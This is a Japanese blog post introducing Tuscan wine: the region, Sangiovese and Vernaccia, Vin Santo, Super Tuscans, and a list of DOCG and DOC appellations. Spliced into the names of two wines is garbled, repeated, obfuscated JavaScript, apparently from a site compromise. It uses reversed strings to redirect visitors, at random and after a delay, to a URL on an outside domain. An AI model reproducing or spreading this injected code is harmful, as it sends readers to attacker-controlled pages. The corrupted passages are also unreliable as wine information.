イタリアトスカーナ州ワインの特徴
トスカーナはイタリア中部にある州、州都は、あの有名なフィレンツェです。地図で表すと、以下のようになります。
ワインにおいては、トスカーナ州はピエモンテ州と並ぶ、イタリアを代表とする醸造地です。
参考:「すぐ分かる「ピエモンテ」!ワインでよく聞く「ピエモンテ」って何?」
・ミケランジェロのダビデ像
・ウフィツィ美術館のボッティチェリ作品、
・サンタ マリア デル フィオーレ大聖堂
といったルネサンス時代の芸術作品や建築が多く見られるのが特徴です。
1つ1つの建物がとても文化的な雰囲気を醸し出しています。
上記はパノラマで見たトスカーナです。
街並みも非常に素敵ですよね。
赤ワインは強い酸味とやや強い渋みがあり、香りは弱めのサンジョベーゼ種、白ワインは酸味の強くない辛口のヴェルナッチャ種のイタリアワインの最高級品質DOCGが造られます。地方全体として辛口の赤ワインが多く生産されます。
参考:「女子にぴったり!ブドウ品種「グルナッシュの豆知識」」
また、イタリアで最も希少で高価デザート・ワインと称される「ヴィン・サント」が造られることでも有名です。
色は黄金色の輝きを放ち、ナッツのような香ばしい香りと、梅酒のような甘い口当たりで、酸味のバランスの良い上品な味わいが特徴のデザートワインになります。
1970年代からワイン法の規格を外れていながらも、高品質なワインが続々と生産され、そのようなワインは「スーパータスカン」と呼ばれています。サッシカイアとオルネライアは2大スーパータスカンと呼ばれています。
トスカーナワインの主な種類
ブルネッロ・ディ・モンタルチーノ(Brunello di Montalcino)…イタリアワイン最高級のDOGGで、ブルネッロ(サンジョベーゼ)種によるイタリアを代表する赤ワインです。
カルミニャーノ(Carmignano)…DOCGのサンジョベーゼ種主体の赤ワインで、トスカーナ州の伝統的呼称としては珍しく、カベルネ・ソーヴィニョンがブレンドされます。
キアンティ(Chianti)…DOCGで、サンジョベーゼ種主体の赤ワインです。25%以内で他品種のブレンドが認められています。その中には、白ブドウも10%含まれています。
キアンティ・クラシッコ(Chianti Classico)…DOCGで、サンジョベーゼ種主体の赤ワインです。20%以内で他品種のブレンドが認められています。キアンティと違い、白ブドウのブレンドは認められていません。
エルバ・アレアティコ・パッシート(Elba Aleatico Passitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to)…DOCGで、陰干しして糖度を高めたブドウから造られる甘口赤ワインになります。主要品種はアレアティコです。
モンテクッコ・サンジョベーゼ(Montecucco Sangiovese)…DOCGで、モンタルチーノとスカンサーノの間に位置する海洋性気候の影響を受け、まろやかなワインが造られます。
モレッリーノ・ディ・スカンサーノ(Morellino di Scansano)…DOCGで、モレッリーノ(サンジョベーゼ)種主体の赤ワインです。15%以内で他品種のブレンドが認められています。白ワインのブレンドは認められていません。
ヴァル・ディ・コルニア・ロッソ(Val di Corina Rosso)…DOCGで、サンジョベーゼ種を40%以上、カベルネ・ソーヴィニョンとメルロを単独または合わせて60%まで使用することができます。
スヴェレート(Suveretoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to)…DOCGで、カベルネ・ソーヴィニョン、メルロ、サンジョベーゼ種を単独もしくはブレンドで使用します。
ヴィーノ・ノーヴィレ・ディ・モンテプルチアーノ(Vino Nobile di Montepulciano)…DOCGで、サンジョベーゼ種主体の赤ワインです。他品種のブレンドが30%以内で、穏やかで優雅なワインと評されています。
ヴェルナッチャ・ディ・サン・ジミニャーノ(Vernaccia di San Gimignano)…ヴェルナッチャ種主体の辛口白ワインです。他品種のブレンドは15%以内で認められています。
ボルゲリ(Bolgheri)…DOCGの次の階級になるDOCワインです。DOCは約330個、DOCGは74個あります。ボルゲリは、白はトレビアーノ種、ヴェルメンティーノ種、ソーヴィニョン・ブラン種のいずれかを主体にしています。赤とロゼは、カベルネ・ソーヴィニョン、メルロ、サンジョベーゼ種のいずれかを主体にしています。
ポミーノ(Pomino)…DOCで、赤はサンジョベーゼ種、ピノ・ネーロ種、メルロを用います。白はシャルドネ、ピノ・ビアンコ種、ピノ・グリージョ種を用います。
ロッソ・ディ・モンタルチーノ(Rosso di Montalcino)…DOCで、DOCGのブルネッロ・ディ・モンタルチーノより短期間の熟成で出荷するワインです。
ロッソ・ディ・モンテプルチアーノ(Rosso di Montepulciano)…DOCで、DOCGのヴィーノ・ノーヴィレ・ディ・モンテプルチアーノのより短期間の熟成で出荷するワインです。
最後に
イタリアのワインはトスカーナ州はピエモンテ州を知ることで、その輪郭を大きく掴むことができます。ぜひ、イタリア産のワインを手に取って、いろんな言葉を吸収しながら、ワインを味わってみて下さい。